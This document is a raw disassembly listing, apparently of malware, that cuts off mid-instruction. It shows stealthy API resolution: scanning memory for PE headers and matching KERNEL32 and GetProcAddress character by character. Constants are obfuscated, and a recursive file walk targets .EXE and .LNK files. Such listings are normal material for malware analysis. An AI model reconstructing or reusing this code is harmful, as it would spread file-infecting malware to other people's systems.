loc_43FD42 push 0 push [ebp+arg_0] call sub_446250 add esp, 8 jmp loc_43FE1D ; --------------------------------------------------------------------------- loc_43FD42: ; CODE XREF: sub_43FB03+22Bj push 1 push [ebp+arg_0] call sub_446250 add esp, 8 jmp loc_43FE1D ; --------------------------------------------------------------------------- loc_43FD54: ; CODE XREF: sub_43FB03+62j cmp [ebp+var_112], 2Eh jz loc_43FE19 push offset word_551EA6 call sub_43CAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43FB03 add esp, 158h jmp short loc_43FE19 ; --------------------------------------------------------------------------- loc_43FDAD: ; CODE XREF: sub_43FB03+318j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_449FC8 mov ebx, eax or ebx, ebx jz short loc_43FE1D cmp [ebp+var_112], 2Eh jz short loc_43FE19 push offset byte_551E9D call sub_43CAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43FB03 add esp, 158h loc_43FE19: ; CODE XREF: sub_43FB03+258j ; sub_43FB03+2A8j ... or ebx, ebx jnz short loc_43FDAD loc_43FE1D: ; CODE XREF: sub_43FB03+93j ; sub_43FB03+A6j ... pop edi pop esi pop ebx leave retn sub_43FB03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FE22 proc near ; CODE XREF: sub_43D535+164p ; sub_43DA83+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, dword_551170 sub eax, 4 mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43FE3E: ; CODE XREF: sub_43FE22+21j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43FE3E mov esi, eax mov eax, [ebp+arg_0] lea ecx, [eax] or eax, 0FFFFFFFFh loc_43FE4F: ; CODE XREF: sub_43FE22+32j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43FE4F mov [ebp+var_C], eax mov eax, dword_5511AC sub eax, 2 mov [ebp+var_4], eax jmp short loc_43FEB3 ; --------------------------------------------------------------------------- loc_43FE66: ; CODE XREF: sub_43FE22+97j mov ebx, dword_551130 dec ebx mov eax, dword_5510B0 mov edi, eax add edi, dword_55117C sub edi, 0Ch jmp short loc_43FEAC ; --------------------------------------------------------------------------- loc_43FE7F: ; CODE XREF: sub_43FE22+8Cj mov eax, [ebp+var_4] add eax, edi mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+edi] cmp eax, edx jnz short loc_43FEB0 inc ebx cmp ebx, esi jnz short loc_43FEAB inc [ebp+var_8] mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jnz short loc_43FEAB mov eax, [ebp+var_4] jmp short loc_43FEC0 ; --------------------------------------------------------------------------- loc_43FEAB: ; CODE XREF: sub_43FE22+77j ; sub_43FE22+82j inc edi loc_43FEAC: ; CODE XREF: sub_43FE22+5Bj cmp edi, esi jb short loc_43FE7F loc_43FEB0: ; CODE XREF: sub_43FE22+72j inc [ebp+var_4] loc_43FEB3: ; CODE XREF: sub_43FE22+42j mov eax, [ebp+var_C] cmp [ebp+var_4], eax jb short loc_43FE66 mov eax, 0FFFFh loc_43FEC0: ; CODE XREF: sub_43FE22+87j pop edi pop esi pop ebx leave retn sub_43FE22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FEC5 proc near ; CODE XREF: sub_442B82+294p ; sub_443F06+15p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_551250, 0 jnz short loc_43FEED push offset dword_550050 call ds:dword_449FCC mov dword_551250, 1 loc_43FEED: ; CODE XREF: sub_43FEC5+11j mov esi, dword_55112C add esi, dword_5511E0 sub esi, 6 movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+2] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx mov edx, dword_5511C0 inc edx imul ebx, edx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_5511FC add edx, 5 add edx, dword_551130 cmp eax, edx jz loc_43FFB9 push offset dword_550050 call ds:dword_54E95C mov eax, dword_551134 add eax, 4 mov [ebp+var_2], ax jmp short loc_43FF74 ; --------------------------------------------------------------------------- loc_43FF52: ; CODE XREF: sub_43FEC5+B9j movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+4] xor edx, ecx mov [eax], dl movzx eax, [ebp+var_2] mov edx, dword_551114 inc edx add eax, edx mov [ebp+var_2], ax loc_43FF74: ; CODE XREF: sub_43FEC5+8Bj movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43FF52 mov eax, dword_551114 dec eax mov edx, dword_5511F4 add edx, dword_55122C sub edx, 10h mov [edi+eax], dl movsx eax, word_551144 sub eax, 2 mov edx, dword_551178 sub edx, 9 mov [edi+eax], dl push offset dword_550050 call ds:dword_4CD940 loc_43FFB9: ; CODE XREF: sub_43FEC5+6Ej lea eax, [edi+6] pop edi pop esi pop ebx leave retn sub_43FEC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FFC1 proc near ; CODE XREF: sub_43D76D+218p var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_281 = byte ptr -281h var_267 = byte ptr -267h var_252 = byte ptr -252h var_245 = byte ptr -245h var_230 = dword ptr -230h var_22A = byte ptr -22Ah var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = byte ptr -220h var_21F = byte ptr -21Fh var_215 = byte ptr -215h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_103 = byte ptr -103h var_102 = byte ptr -102h var_101 = byte ptr -101h var_FE = byte ptr -0FEh var_FD = byte ptr -0FDh var_FC = byte ptr -0FCh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch push ebx push esi push edi mov edi, [ebp+arg_0] movsx esi, word_551138 movsx edx, word_5510FC lea ecx, [esi+edx+0Bh] shr edi, cl movsx esi, word_5510C4 mov edx, dword_5511EC lea esi, [esi+edx+7] mov ecx, esi mov ebx, edi shl ebx, cl loc_43FFFB: ; CODE XREF: sub_43FFC1+55j ; sub_43FFC1+9Bj ... mov [ebp+var_114], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_440018 mov eax, dword_551154 add eax, 0FFF8h sub ebx, eax jmp short loc_43FFFB ; --------------------------------------------------------------------------- loc_440018: ; CODE XREF: sub_43FFC1+47j mov eax, dword_5510F0 add eax, 33h movsx edx, word_5510D0 add eax, edx mov edx, ebx add edx, eax mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_118], edx mov eax, [ebp+arg_0] cmp edx, eax jbe short loc_44005E movsx eax, word_551198 mov edx, dword_55119C lea eax, [eax+edx+0FFFBh] sub ebx, eax jmp short loc_43FFFB ; --------------------------------------------------------------------------- loc_44005E: ; CODE XREF: sub_43FFC1+83j mov eax, [ebp+var_118] mov [ebp+var_11C], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_440085 mov eax, dword_551214 add eax, 0FFFDh sub ebx, eax jmp loc_43FFFB ; --------------------------------------------------------------------------- loc_440085: ; CODE XREF: sub_43FFC1+B1j mov eax, [ebp+var_11C] mov eax, [eax+78h] mov [ebp+var_120], eax mov ecx, ebx add ecx, eax mov [ebp+var_110], ecx mov eax, ecx mov edx, ebx add edx, [eax+0Ch] push edx lea eax, [ebp+var_103] push eax call sub_4475D4 mov eax, dword_5511F8 sub eax, 3 mov [ebp+var_4], eax jmp short loc_4400E1 ; --------------------------------------------------------------------------- loc_4400BF: ; CODE XREF: sub_43FFC1+13Fj mov eax, [ebp+var_4] mov al, [ebp+eax+var_103] cmp al, 61h jle short loc_4400DE cmp al, 7Ah jge short loc_4400DE mov eax, [ebp+var_4] lea eax, [ebp+eax+var_103] sub byte ptr [eax], 20h loc_4400DE: ; CODE XREF: sub_43FFC1+10Aj ; sub_43FFC1+10Ej inc [ebp+var_4] loc_4400E1: ; CODE XREF: sub_43FFC1+FCj mov eax, [ebp+var_4] movsx eax, [ebp+eax+var_103] mov edx, dword_551108 movsx ecx, word_5510CC add edx, ecx sub edx, 9 cmp eax, edx jnz short loc_4400BF cmp [ebp+var_101], 52h jz short loc_44013C cmp [ebp+var_FD], 33h jz short loc_44013C cmp [ebp+var_102], 45h jz short loc_44013C cmp [ebp+var_FE], 4Ch jz short loc_44013C cmp [ebp+var_103], 4Bh jz short loc_44013C cmp [ebp+var_FC], 32h jnz loc_44035F loc_44013C: ; CODE XREF: sub_43FFC1+148j ; sub_43FFC1+151j ... mov eax, dword_551158 sub eax, 3 mov [ebp+var_108], eax jmp loc_44034A ; --------------------------------------------------------------------------- loc_44014F: ; CODE XREF: sub_43FFC1+398j mov eax, [ebp+var_108] mov ecx, dword_551168 add ecx, 2 mul ecx mov [ebp+var_228], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+20h] mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_224], edx push edx lea eax, [ebp+var_21F] push eax call sub_4475D4 mov eax, dword_5511E0 cmp [ebp+eax+var_220], 50h jnz loc_440344 mov eax, dword_551160 cmp byte ptr [ebp+eax+var_224], 74h jnz loc_440344 mov eax, dword_55124C mov edx, eax add edx, eax cmp [ebp+edx+var_22A], 41h jnz loc_440344 mov eax, dword_55119C add eax, dword_5510B0 cmp byte ptr [ebp+eax+var_228], 47h jnz loc_440344 movsx eax, word_5510FC add eax, dword_5511D8 cmp [ebp+eax+var_21F], 63h jnz loc_440344 movsx eax, word_551218 cmp [ebp+eax+var_215], 72h jnz loc_440344 mov eax, [ebp+var_108] mov ecx, dword_551214 movsx esi, word_5510B4 add ecx, esi sub ecx, 6 mul ecx mov [ebp+var_288], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+24h] mov [ebp+var_114], edx movzx eax, word ptr [edx] mov [ebp-22Ch], eax mov ecx, dword_55112C sub ecx, 4 mul ecx mov [ebp+var_28C], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+1Ch] mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_230], edx lea edi, [ebp+var_245] lea esi, aLeavecriticals ; "LeaveCriticalSection" mov ecx, 15h rep movsb lea edi, [ebp+var_252] lea esi, aCreatethread ; "CreateThread" mov ecx, 0Dh rep movsb mov dword_551254, ebx mov eax, [ebp+var_230] mov ds:dword_44B1AC, eax lea edi, [ebp+var_267] lea esi, aEntercriticals ; "EnterCriticalSection" mov ecx, 15h rep movsb lea edi, [ebp+var_281] lea esi, aInitializecrit ; "InitializeCriticalSection" mov ecx, 0Dh rep movsw lea eax, [ebp+var_245] push eax push dword_551254 call ds:dword_44B1AC mov ds:dword_4CD940, eax lea eax, [ebp+var_281] push eax push dword_551254 call ds:dword_44B1AC mov ds:dword_449FCC, eax lea eax, [ebp+var_252] push eax push dword_551254 call ds:dword_44B1AC mov ds:dword_54FF20, eax lea eax, [ebp+var_267] push eax push dword_551254 call ds:dword_44B1AC mov ds:dword_54E95C, eax jmp short loc_44035F ; --------------------------------------------------------------------------- loc_440344: ; CODE XREF: sub_43FFC1+1DEj ; sub_43FFC1+1F1j ... inc [ebp+var_108] loc_44034A: ; CODE XREF: sub_43FFC1+189j mov eax, [ebp+var_110] mov eax, [eax+18h] cmp [ebp+var_108], eax jb loc_44014F loc_44035F: ; CODE XREF: sub_43FFC1+175j ; sub_43FFC1+381j pop edi pop esi pop ebx leave retn sub_43FFC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440364 proc near ; CODE XREF: sub_446839+211p var_30037 = byte ptr -30037h var_20038 = dword ptr -20038h var_20034 = dword ptr -20034h var_20030 = dword ptr -20030h var_2002C = dword ptr -2002Ch var_20028 = dword ptr -20028h var_20024 = dword ptr -20024h var_20020 = byte ptr -20020h var_2001C = dword ptr -2001Ch var_20018 = dword ptr -20018h var_20014 = dword ptr -20014h var_20010 = dword ptr -20010h var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20004 = dword ptr -20004h var_1FFFE = byte ptr -1FFFEh var_1FFFD = byte ptr -1FFFDh var_1FFFB = byte ptr -1FFFBh var_1FFFA = byte ptr -1FFFAh var_10004 = byte ptr -10004h var_10002 = byte ptr -10002h var_FFFF = byte ptr -0FFFFh arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_24 = dword ptr 2Ch push ebp mov ebp, esp mov eax, 30038h call sub_4475B4 push ebx push esi push edi lea eax, [ebp+var_20018] push eax mov eax, dword_55114C add eax, dword_551110 sub eax, 0Bh push eax lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax mov eax, dword_55111C sub eax, 2 push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+54h] mov edi, eax mov eax, dword_5511DC add eax, dword_5511D4 sub eax, 8 cmp edi, eax jnz loc_440775 loc_4403BC: ; CODE XREF: sub_440364+3F0j mov eax, dword_5510B8 add eax, dword_5511FC sub eax, 4 push eax lea eax, [ebp+var_20024] push eax movsx eax, word_5511F0 sub eax, 5 push eax mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+0Ch] mov edi, eax movsx eax, word_551208 movsx edx, word_5510C4 add eax, edx sub eax, 7 cmp edi, eax jnz loc_440759 mov esi, dword_551110 sub esi, 9 lea eax, [ebp+var_1FFFE] push eax push [ebp+var_20024] call sub_43DBFE add esp, 8 and [ebp+var_20004], 0 mov eax, dword_55124C add eax, dword_551160 sub eax, 10h mov [ebp+var_20028], eax mov [ebp+var_20014], 10h movsx eax, word_5510CC add eax, dword_551174 sub eax, 8 mov [ebp+var_20008], eax movsx eax, word_5511A8 mov [ebp+var_2000C], eax mov [ebp+var_20010], 2 mov eax, dword_5510C0 add eax, dword_55123C sub eax, 2 push eax lea eax, [ebp+var_20014] push eax lea eax, [ebp+var_20004] push eax lea eax, [ebp+var_20028] push eax push [ebp+var_20024] lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax mov eax, dword_5510C8 add eax, dword_551150 sub eax, 5 push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+44h] mov edi, eax mov eax, dword_5510D8 movsx edx, word_5510CC add eax, edx sub eax, 7 cmp edi, eax jnz loc_4405FA movsx eax, word_5511C4 mov esi, eax add esi, dword_551184 sub esi, 0Bh cmp [ebp+var_1FFFE], 44h jnz short loc_4404FF cmp [ebp+var_1FFFD], 50h jz short loc_440504 loc_4404FF: ; CODE XREF: sub_440364+190j jmp loc_4405FA ; --------------------------------------------------------------------------- loc_440504: ; CODE XREF: sub_440364+199j cmp [ebp+var_1FFFB], 50h jnz short loc_440516 cmp [ebp+var_1FFFA], 49h jz short loc_44051B loc_440516: ; CODE XREF: sub_440364+1A7j jmp loc_4405FA ; --------------------------------------------------------------------------- loc_44051B: ; CODE XREF: sub_440364+1B0j mov eax, [ebp+var_20004] mov [ebp+var_2002C], eax mov eax, [ebp+var_20028] mov [ebp+var_20030], eax lea eax, [ebp+var_20020] push eax mov eax, dword_5511F4 mov edx, eax add edx, dword_551184 sub edx, 0Dh push edx mov edx, dword_55114C sub edx, 2 push edx mov edx, dword_55110C add edx, eax mov eax, edx sub eax, 0Bh push eax movsx eax, word_551210 add eax, dword_5511F8 sub eax, 8 push eax mov eax, dword_5510EC dec eax push eax lea eax, [ebp+var_20030] push eax call ds:dword_448028 mov [ebp+var_20034], eax mov ecx, dword_5510E4 add ecx, dword_551188 sub ecx, 0Ah cmp eax, ecx jnz short loc_4405B8 movsx eax, word_5510FC movsx edx, word_55109C mov esi, eax add esi, edx sub esi, 8 jmp short loc_4405FA ; --------------------------------------------------------------------------- loc_4405B8: ; CODE XREF: sub_440364+23Bj movsx eax, word_551104 mov esi, eax add esi, dword_55120C sub esi, 2 lea eax, [ebp+var_30037] push eax push [ebp+var_2001C] call sub_43DBFE add esp, 8 movsx eax, word_551218 cmp [ebp+var_2001C], eax jz short loc_4405FA push [ebp+var_2001C] call ds:dword_44B5CC loc_4405FA: ; CODE XREF: sub_440364+171j ; sub_440364:loc_4404FFj ... mov eax, dword_5510D4 mov edx, dword_551130 add edx, dword_5511A0 sub edx, 9 mov [ebp+eax+var_10002], dl mov [ebp+eax+var_10004], 50h mov eax, dword_551248 mov [ebp+eax+var_10002], 7Ch push [ebp+arg_24] lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset dword_551E98 call sub_43CAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C push offset byte_551E7B call sub_43CAF7 mov ebx, dword_55124C sub ebx, 8 push ebx push eax push [ebp+arg_24] call sub_43FE22 add esp, 24h movsx edx, word_5511F0 add edx, 0FFF9h cmp eax, edx jz short loc_44069B lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call sub_44181A add esp, 8 jmp short loc_4406CA ; --------------------------------------------------------------------------- loc_44069B: ; CODE XREF: sub_440364+31Dj lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset word_551E76 call sub_43CAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C add esp, 14h loc_4406CA: ; CODE XREF: sub_440364+335j mov eax, dword_5511D0 add eax, dword_5511F4 sub eax, 0Fh cmp esi, eax jnz short loc_4406EA mov eax, [ebp+var_20004] mov [ebp+var_20038], eax jmp short loc_4406F6 ; --------------------------------------------------------------------------- loc_4406EA: ; CODE XREF: sub_440364+376j lea eax, [ebp+var_30037] mov [ebp+var_20038], eax loc_4406F6: ; CODE XREF: sub_440364+384j push [ebp+var_20038] lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset byte_551E71 call sub_43CAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C add esp, 14h mov eax, dword_55122C add eax, dword_5510B0 sub eax, 0Ch cmp [ebp+var_20004], eax jz short loc_440746 push [ebp+var_20004] call ds:dword_48C1EC loc_440746: ; CODE XREF: sub_440364+3D4j lea eax, [ebp+var_FFFF] push eax call ds:dword_48C1E0 pop ecx jmp loc_4403BC ; --------------------------------------------------------------------------- loc_440759: ; CODE XREF: sub_440364+9Cj movsx eax, word_5510CC dec eax cmp [ebp+var_20018], eax jz short loc_440775 mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_440775: ; CODE XREF: sub_440364+52j ; sub_440364+403j pop edi pop esi pop ebx leave retn sub_440364 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44077A proc near ; CODE XREF: sub_43DE1F+3Ep ; sub_44077A+21Fp ... var_259 = byte ptr -259h var_258 = byte ptr -258h var_257 = byte ptr -257h var_256 = byte ptr -256h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp [ebp+arg_8], 0 jz short loc_4407A8 mov eax, dword_55115C add eax, dword_551130 sub eax, 5 mov [ebp+var_248], eax jmp loc_44082E ; --------------------------------------------------------------------------- loc_4407A8: ; CODE XREF: sub_44077A+13j mov edx, [ebp+arg_4] movsx ecx, word_5510F8 sub ecx, 5 cmp ds:dword_44B5E0[edx*4], ecx jnz short loc_4407DA push esi call ds:dword_44B5BC mov eax, dword_5511EC add eax, dword_551134 sub eax, 4 push eax call ds:dword_54E960 loc_4407DA: ; CODE XREF: sub_44077A+42j mov eax, dword_55110C add eax, 62h mov [ebp+var_248], eax push offset byte_551E69 call sub_43CAF7 push [ebp+arg_4] push eax lea edx, [ebp+var_256] push edx call ds:dword_50E928 add esp, 10h lea eax, [ebp+var_256] push eax call ds:dword_54E964 cmp eax, 3 jnz short loc_44082E mov eax, dword_5510D8 add eax, 122h add eax, dword_5511D8 mov [ebp+var_248], eax loc_44082E: ; CODE XREF: sub_44077A+29j ; sub_44077A+9Cj xor edi, edi inc edi mov ecx, ebx or eax, 0FFFFFFFFh loc_440836: ; CODE XREF: sub_44077A+C1j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440836 mov [ebp+var_24C], eax push offset word_551E62 call sub_43CAF7 add esp, 4 push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50E928 add esp, 0Ch mov eax, [ebp+var_24C] movsx edx, word_551240 add edx, dword_55111C sub edx, 5 sub eax, edx cmp byte ptr [ebx+eax], 2Eh jnz loc_44092F mov eax, [ebp+var_24C] sub eax, 4 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_257], dl mov eax, [ebp+var_24C] sub eax, 2 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_258], dl mov eax, [ebp+var_24C] sub eax, 3 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_259], dl cmp [ebp+var_257], 4Ch jnz short loc_440905 cmp [ebp+var_259], 4Eh jnz short loc_440905 cmp [ebp+var_258], 4Bh jnz short loc_440905 push ebx call sub_43CDF1 add esp, 4 loc_440905: ; CODE XREF: sub_44077A+16Ej ; sub_44077A+177j ... cmp [ebp+var_257], 45h jnz short loc_44092F cmp [ebp+var_259], 58h jnz short loc_44092F cmp [ebp+var_258], 45h jnz short loc_44092F push [ebp+var_248] push ebx call sub_43CBE6 add esp, 8 loc_44092F: ; CODE XREF: sub_44077A+104j ; sub_44077A+192j ... lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC228 mov esi, eax movsx eax, word_5511A8 add eax, dword_55120C sub eax, 3 neg eax cmp esi, eax jz loc_440A16 cmp [ebp+var_112], 2Eh jz loc_440A12 push offset byte_551E59 call sub_43CAF7 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50E928 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_44077A add esp, 20h jmp short loc_440A12 ; --------------------------------------------------------------------------- loc_4409A3: ; CODE XREF: sub_44077A+29Aj lea eax, [ebp+var_13E] push eax push esi call ds:dword_449FC8 mov edi, eax or edi, edi jnz short loc_4409D4 mov eax, [ebp+var_248] add eax, ds:dword_50E92C push eax call ds:dword_50E924 pop ecx push esi call ds:dword_44B5BC jmp short loc_440A16 ; --------------------------------------------------------------------------- loc_4409D4: ; CODE XREF: sub_44077A+23Bj cmp [ebp+var_112], 2Eh jz short loc_440A12 push offset dword_551E50 call sub_43CAF7 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50E928 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_44077A add esp, 20h loc_440A12: ; CODE XREF: sub_44077A+1ECj ; sub_44077A+227j ... or edi, edi jnz short loc_4409A3 loc_440A16: ; CODE XREF: sub_44077A+1DFj ; sub_44077A+258j pop edi pop esi pop ebx leave retn sub_44077A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440A1B proc near ; CODE XREF: sub_43B4E9+3Ap var_10034 = dword ptr -10034h var_10030 = byte ptr -10030h var_1002C = dword ptr -1002Ch var_10028 = dword ptr -10028h var_10024 = dword ptr -10024h var_10020 = byte ptr -10020h var_10018 = dword ptr -10018h var_10010 = dword ptr -10010h var_1000C = dword ptr -1000Ch var_10008 = dword ptr -10008h var_10004 = dword ptr -10004h var_FFFF = byte ptr -0FFFFh var_FFFE = byte ptr -0FFFEh var_FFFD = byte ptr -0FFFDh var_FFFC = byte ptr -0FFFCh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10034h call sub_4475B4 push ebx push esi push edi mov eax, dword_551220 add eax, dword_551100 sub eax, 0Bh cmp dword_5512C4, eax jnz short loc_440A55 mov eax, dword_5510EC add eax, 9 cmp ds:dword_44B5D0, eax jb loc_440CCD loc_440A55: ; CODE XREF: sub_440A1B+24j lea eax, [ebp+var_10020] push eax call ds:dword_448048 lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_10020] push eax push 9 movsx eax, word_551104 add eax, dword_5511EC sub eax, 3 push eax push [ebp+arg_0] call ds:dword_4CC224 mov edi, eax mov eax, dword_5511D0 movsx edx, word_551148 add eax, edx sub eax, 8 cmp edi, eax jnz loc_440CCD mov esi, [ebp+var_10018] mov eax, dword_5511B4 sub eax, 4 mov [ebp+var_10008], eax lea eax, [ebp+var_10008] push eax push offset dword_552AA8 push esi mov edx, [esi] call dword ptr ds:0[edx] mov edi, eax mov eax, dword_55120C sub eax, 4 cmp edi, eax jnz loc_440CCD lea eax, [ebp+var_10024] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+78h] mov edi, eax mov eax, dword_5511BC movsx edx, word_551190 add eax, edx sub eax, 0Eh cmp edi, eax jnz loc_440CC7 lea eax, [ebp+var_FFFF] push eax push [ebp+var_10024] call sub_43DBFE add esp, 8 mov edx, eax inc edx mov [ebp+var_10034], edx push [ebp+var_10024] call ds:dword_54FF34 cmp [ebp+var_FFFF], 68h jnz short loc_440B5F cmp [ebp+var_FFFE], 74h jnz short loc_440B5F cmp [ebp+var_FFFD], 74h jnz short loc_440B5F cmp [ebp+var_FFFC], 70h jz short loc_440B64 loc_440B5F: ; CODE XREF: sub_440A1B+127j ; sub_440A1B+130j ... jmp loc_440CC7 ; --------------------------------------------------------------------------- loc_440B64: ; CODE XREF: sub_440A1B+142j lea eax, [ebp+var_10010] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+48h] mov edi, eax mov eax, dword_5511DC add eax, dword_551234 sub eax, 8 cmp edi, eax jnz loc_440CC7 lea eax, [ebp+var_10004] push eax push offset dword_552A28 mov eax, [ebp+var_10010] push eax mov edx, [eax] call dword ptr ds:0[edx] mov edi, eax mov eax, dword_5510A4 sub eax, 7 cmp edi, eax jnz loc_440CBB lea eax, [ebp+var_1000C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+1B0h] mov edi, eax mov eax, dword_551124 add eax, dword_55122C sub eax, 9 cmp edi, eax jnz loc_440CAF lea eax, [ebp+var_10028] push eax mov eax, [ebp+var_1000C] push eax mov edx, [eax] call dword ptr [edx+70h] mov edi, eax mov eax, dword_5510C0 mov edx, eax add edx, eax mov eax, edx sub eax, 4 cmp edi, eax jz short loc_440C23 mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] jmp loc_440CAF ; --------------------------------------------------------------------------- loc_440C23: ; CODE XREF: sub_440A1B+1F5j xor ebx, ebx mov eax, [ebp+var_10028] cmp [ebp+var_1000C], eax jz short loc_440C36 xor ebx, ebx inc ebx loc_440C36: ; CODE XREF: sub_440A1B+216j mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] mov eax, [ebp+var_10028] push eax mov eax, [eax] call dword ptr [eax+8] or ebx, ebx jnz short loc_440CAF lea eax, [ebp+var_1002C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+20h] mov edi, eax mov eax, dword_55112C movsx edx, word_551198 add eax, edx sub eax, 9 cmp edi, eax jnz short loc_440CAF lea eax, [ebp+var_FFFF] push eax push [ebp+var_10008] push [ebp+var_1002C] push [ebp+var_10004] call sub_4424CE push [ebp+var_1002C] push [ebp+var_10004] push esi call sub_44726D add esp, 1Ch loc_440CAF: ; CODE XREF: sub_440A1B+1CAj ; sub_440A1B+203j ... mov eax, [ebp+var_10004] push eax mov eax, [eax] call dword ptr [eax+8] loc_440CBB: ; CODE XREF: sub_440A1B+19Cj mov eax, [ebp+var_10010] push eax mov eax, [eax] call dword ptr [eax+8] loc_440CC7: ; CODE XREF: sub_440A1B+F0j ; sub_440A1B:loc_440B5Fj ... push esi mov eax, [esi] call dword ptr [eax+8] loc_440CCD: ; CODE XREF: sub_440A1B+34j ; sub_440A1B+86j ... pop edi pop esi pop ebx leave retn sub_440A1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440CD2 proc near ; CODE XREF: sub_446ED7+2E0p var_68 = dword ptr -68h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi call ds:dword_48B9F4 mov ebx, eax call sub_44322A or eax, eax jnz short loc_440CFA mov edi, dword_551234 sub edi, 7 jmp loc_440F05 ; --------------------------------------------------------------------------- loc_440CFA: ; CODE XREF: 